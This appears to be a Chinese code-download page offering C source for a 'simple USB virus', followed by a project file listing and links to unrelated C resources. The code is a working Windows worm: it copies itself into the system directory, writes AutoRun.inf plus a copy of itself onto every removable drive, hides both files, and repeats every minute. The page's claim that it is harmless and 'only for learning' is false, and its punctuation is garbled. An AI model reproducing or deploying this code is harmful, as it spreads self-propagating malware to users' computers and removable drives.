资源简介
C语言编写的简单U盘病毒,这里只是简单的而已,没有什么危害,只供学习
代码片段和文件信息
// proj7_2.cpp : Defines the entry point for the application.
//
#include “stdafx.h“
bool SaveToFile(char* Pathchar* Data){
HANDLE hFile;
hFile=CreateFile(Path GENERIC_WRITE 0 NULL CREATE_ALWAYS FILE_ATTRIBUTE_NORMALNULL);
if(hFile==INVALID_HANDLE_VALUE){/*continue; //出错时处理*/}
DWORD dwWrite;
WriteFile(hFileDatastrlen(Data)&dwWriteNULL);
CloseHandle(hFile);
return true;
}
BOOL InfectU()
{
while(true)
{
UINT revtype;
char name[256]=“H:\\“ ;
char szName[256]={0};
char toPath[256]={0};
char infPath[256]={0};
char openU[80]={0};
//遍历所有盘符
for(BYTE i=0x42;i<0x5B;i=i+0x01)
{
name[0]=i;
//得到盘符类型
revtype=GetDriveType(name);
//判断是否是可移动存储设备
if (revtype==DRIVE_REMOVABLE)
{
//得到自身文件路径
GetModuleFileName(NULLszName256);
//比较是否和U盘的盘符相同
//如果相同说明在U盘上执行复制到系统中去
if(strncmp(nameszName1)==0)
{
//得到系统目录
GetSystemDirectory(toPath256);
strcat(toPath“\\proj7_2.exe“);
//把自身文件复制到系统目录
if(CopyFile(szNametoPathTRUE))
{
//运行程序
WinExec(toPath0);
}
strcpy(openU“explorer “);
strcat(openUname);
//打开U盘
WinExec(openU1);
return 0;
}//如果不是则在系统中执行感染U盘
else
{
strcpy(toPathname);
strcat(toPath“\\proj7_2.exe“);
strcpy(infPathname);
strcat(infPath“\\AutoRun.inf“);
//还原U盘上的文件属性
SetFileAttributes(toPathFILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPathFILE_ATTRIBUTE_NORMAL);
//删除原有文件
DeleteFile(toPath);
DeleteFile(infPath);
//写AutoRun.inf到U盘
char* Data;
Data = “[AutoRun]\r\nopen=proj7_2.exe\r\nshell\\open=打开(&O)\r\nshell\\explore=我的资源管理器(&X)\r\nshell\\explore\\Command=proj7_2.exe“;
SaveToFile(infPathData);
//拷贝自身文件到U盘
CopyFile(szNametoPathFALSE);
//把这两个文件设置成系统,隐藏属性
SetFileAttributes(toPath
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(infPath
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
}
}
}
//休眠60秒,60检测一次
Sleep(60000);
}
}
int APIENTRY WinMain(HINSTANCE hInstance
HINSTANCE hPrevInstance
LPSTR lpCmdLine
int nCmdShow)
{
char toPath[100];
GetSystemDirectory(toPath256);
InfectU();
return 0;
}
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 172113 2012-04-15 17:08 proj7_2\Debug\proj7_2.exe
文件 184820 2012-04-15 17:08 proj7_2\Debug\proj7_2.ilk
文件 6497 2012-04-15 17:08 proj7_2\Debug\proj7_2.obj
文件 1918904 2012-04-15 12:21 proj7_2\Debug\proj7_2.pch
文件 443392 2012-04-15 17:08 proj7_2\Debug\proj7_2.pdb
文件 55058 2012-04-15 12:21 proj7_2\Debug\StdAfx.obj
文件 82944 2012-04-15 17:24 proj7_2\Debug\vc60.idb
文件 176128 2012-04-15 17:08 proj7_2\Debug\vc60.pdb
文件 2571 2012-04-15 17:26 proj7_2\proj7_2.cpp
文件 4182 2010-09-23 18:03 proj7_2\proj7_2.dsp
文件 539 2010-09-23 18:03 proj7_2\proj7_2.dsw
文件 58368 2012-04-15 17:26 proj7_2\proj7_2.ncb
文件 49664 2012-04-15 17:26 proj7_2\proj7_2.opt
文件 1188 2012-04-15 17:08 proj7_2\proj7_2.plg
文件 1215 2010-09-23 18:03 proj7_2\ReadMe.txt
文件 294 2010-09-23 18:03 proj7_2\StdAfx.cpp
文件 773 2010-09-23 18:03 proj7_2\StdAfx.h
目录 0 2012-04-23 21:49 proj7_2\Debug
目录 0 2012-04-23 21:49 proj7_2
----------- --------- ---------- ----- ----
3158650 19
相关资源
- C语言程序设计大赛题目和答案
- 编译原理实验之四元式的生成源代码
- C语言编写的前方交会代码
- c语言课程设计 工资管理系统
- 校级运动会 管理系统 c语言代码
- C语言FFT
- ARM2440定时器中断C语言版
- C语言库函数源代码大全
- c语言直接读写xls文件,无需安装off
- DES源代码C语言实现
- 中国邮路问题c语言代码
- ymodem发送代码(c语言)
- OSPF基于C语言的算法实现
- 52单片机定时器2作为串行口波特率发
- 首次适应算法主存空间的分配和回收
- 魔方还原算法C语言
- 进程同步实验代码c语言
- Huffman编/译码器C语言代码
- c语言实现 关键路径
- 进程控制的算法模拟 c语言实现
- C语言库函数手册--c语言大全
- C语言版本Linux环境下MD5加密函数
- C语言控制台窗口界面编程(修正版)
- 哈夫曼压缩解压算法-C语言
- rs编码c语言实现
- C语言实现表达式求值
- c语言课程设计职工信息管理系统
- 利用c语言写的理发馆排队问题模拟仿
- C语言经典编程100题+答案
- 单片机与上位机收发程序c语言实现
评论
共有 条评论